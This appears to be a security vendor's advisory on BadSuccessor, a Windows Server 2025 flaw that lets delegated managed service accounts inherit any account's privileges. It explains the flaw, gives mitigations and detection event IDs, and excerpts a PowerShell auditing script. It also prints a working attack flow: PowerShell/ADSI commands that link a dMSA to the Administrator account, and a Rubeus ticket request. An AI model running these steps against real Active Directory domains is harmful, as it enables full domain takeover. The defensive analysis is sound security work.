BadSuccessor: Escalating Privilege Using dMSA Abuse in Active Directory

The BadSuccessor vulnerability present in Windows Server 2025 allows an attacker to escalate privileges to obtain domain administrator privileges

Akamai researchers have discovered a serious design vulnerability in Windows Server 2025 related to the use of delegated managed service accounts (dMSAs). This flaw allows an attacker with least privilege to escalate to domain administrator privileges without directly interacting with privileged accounts or modifying group memberships.

The vulnerability has been dubbed BadSuccessor and resides in the ability to abuse the legacy account migration process to dMSA. Its exploitation does not require prior elevation of privilege and can run in domains that do not even actively use dMSAs, as long as at least one domain controller running Windows Server 2025 exists.

Key features of BadSuccessor

• Identifier: Not officially assigned by CVE.
• Disclosure date: May 21, 2025
• Affected product: Windows Server 2025.
• Potential impact: Privilege escalation allowing complete domain control.
• Operating requirements:
  • Write permission to a dMSA account (existing or newly created).
  • Permission to create objects in an Organizational Unit (OU).

Exploitation process

The vulnerability lies in how the KDC (Key Distribution Center) treats the msDS-ManagedAccountPrecededByLink attribute. This link indicates which account is being replaced by the dMSA, and the KDC, without performing additional validations, grants the dMSA all the privileges of the original account, including:

• SID of the replaced user.
• Group memberships (including Domain Admins).
• Historical credentials of the migrated user (RC4-HMAC key).

Attack flow

1- Create a new dMSA in an OU where you have CreateChild permissions.

New-ADServiceAccount -Name -DNSHostName -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword -path “OU=test,DC=domain,DC=com”

2- Set the attributes:

• msDS-ManagedAccountPrecededByLink → objective DN (e.g. CN=Administrator,CN=Users,DC=dominio,DC=local)
• msDS-DelegatedMSAState → 2 (full migration)

$dMSA = [ADSI]”LDAP://CN=attacker_dmsa,OU=test,DC=domain,DC=com”
$dMSA.Put(“msDS-DelegatedMSAState”,2)
$dMSA.Put(“msDS-ManagedAccountPrecededByLink”,
“CN=Administrator,CN=users,DC=domain,DC=com”)
$dMSA.SetInfo()

3- Request a TGT for the dMSA (e.g. with Rubeus):

Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/dominio.com /dmsa /ptt /opsec /nowrap /ticket:<Machine TGT>

4- The TGT obtained will include:

• Domain Administrator SID
• Privileged group memberships (Domain Admins, Enterprise Admins)
• Historical keys of the original user

Additional Attack Capabilities

In addition to privilege escalation, it was observed that the dMSA receives in its KERB-DMSA-KEY-PACKAGE the cryptographic keys of the replaced user, including previous passwords in formats such as RC4-HMAC. This makes it possible to:

• Target password recovery.
• Use of old tickets issued with previous keys.
• Perform extended Kerberoasting attacks.

Impact

This behavior can be exploited against any account on the domain, including:

• Domain administrators
• Domain Controllers
• Protected Users

And no access to the target account is required. All you need is permission on a dMSA and the ability to write to its attributes.

Mitigation of BadSuccessor

Microsoft has acknowledged the problem but has not yet released a patch. Recommended mitigation includes:

Immediate containment

• Restrict CreateChild permissions on OUs.
• Audit permissions on msDS-DelegatedManagedServiceAccount and prevent non-privileged users from creating dMSAs.
• Block or monitor the use of Start-ADServiceAccountMigration.

Auditing and detection

• Audit dMSA Creation: Configure a SACL to Record the Creation of New msDS-DelegatedManagedServiceAccount Objects (Event ID 5137).
• Monitor Attribute Modifications: Configure a SACL for Modifications to the msDS-ManagedAccountPrecededByLink Attribute (Event ID 5136).
• dMSA authentication trace: When a TGT is generated for a dMSA and includes the KERB-DMSA-KEY-PACKAGE structure, the domain controller logs the following event (Event ID 2946).

Proof of concept for BadSuccessor

Akamai has published a PowerShell script to identify accounts with dMSA authoring permissions on the domain.

This script identifies users or (primary) groups that have permissions on Organizational Units (OUs) that allow them to create delegated service accounts (dMSAs). If they can do so, they could exploit the BadSuccessor vulnerability to escalate privileges to, for example, gain Domain Admin access.

Here’s how code blocks behave:

1. Privileged identities excluded

$excludedSids = @(
"$domainSID-512", # Domain Admins
"S-1-5-32-544", # Builtin Administrators
"S-1-5-18" # Local SYSTEM
)

Identities that are already elevated are excluded from the analysis, to focus on non-privileged users who could abuse dMSAs.
 

2. Permissions and objects searched

Setup the specific rights we look for, and on which kind of objects - add more attributes' guids as needed
$relevantObjectTypes = @{
"00000000-0000-0000-0000-000000000000" = "All Objects"
"0feb936f-47b3-49f2-9386-1dedc2c23765" = "msDS-DelegatedManagedServiceAccount"
}
# This could be modified to also get objects with indirect access, for example: $relevantRights = "CreateChild|WriteDACL"
$relevantRights = "CreateChild|GenericAll|WriteDACL|WriteOwner"

It specifically looks for whether a user has rights such as CreateChild, which allows a dMSA to be created in that OU — a key step in the BadSuccessor attack.

3. Scanning OUs and reviewing your access control lists (ACEs)

foreach ($ou in $allOUs) {
foreach ($ace in $ou.ntSecurityDescriptor.Access) {
if ($ace.AccessControlType -ne "Allow") { continue }
if ($ace.ActiveDirectoryRights -notmatch $relevantRights) { continue }
if (-not $relevantObjectTypes.ContainsKey($ace.ObjectType.Guid)) { continue }

$identity = $ace.IdentityReference.Value
if (Test-IsExcludedSID $identity) { continue }

$allowedIdentities[$identity].Add($ou.DistinguishedName)
}
# Review also by the OU owner
}

This detects whether an unprivileged identity can create objects in an OU — specifically, whether it can create a dMSA there. If you can, you can simulate a migration and become any other user (BadSuccessor).

4. Results

foreach ($id in $allowedIdentities.Keys) {
[PSCustomObject]@{
Identity = $id
OUs = $allowedIdentities[$id].ToArray()
}
}

It returns a list of users who should be monitored, as they have sufficient permissions to execute the BadSuccessor attack on one or more OUs.

Conclusions

BadSuccessor represents a new paradigm in Active Directory exploitation, where an attacker can compromise the entire domain without the need to manipulate privileged accounts directly. The attack is stealthy, requiring no group modifications or visible changes to sensitive accounts.

Given the logical nature of the flaw and its ease of exploitation, it is recommended to treat any management permissions on dMSAs as high risk.

Tarlogic offers an emerging vulnerability service that proactively monitors companies’ perimeters to immediately report, detect, and notify them of the presence of this vulnerability and any other threats that could have a serious impact on the security of corporate assets.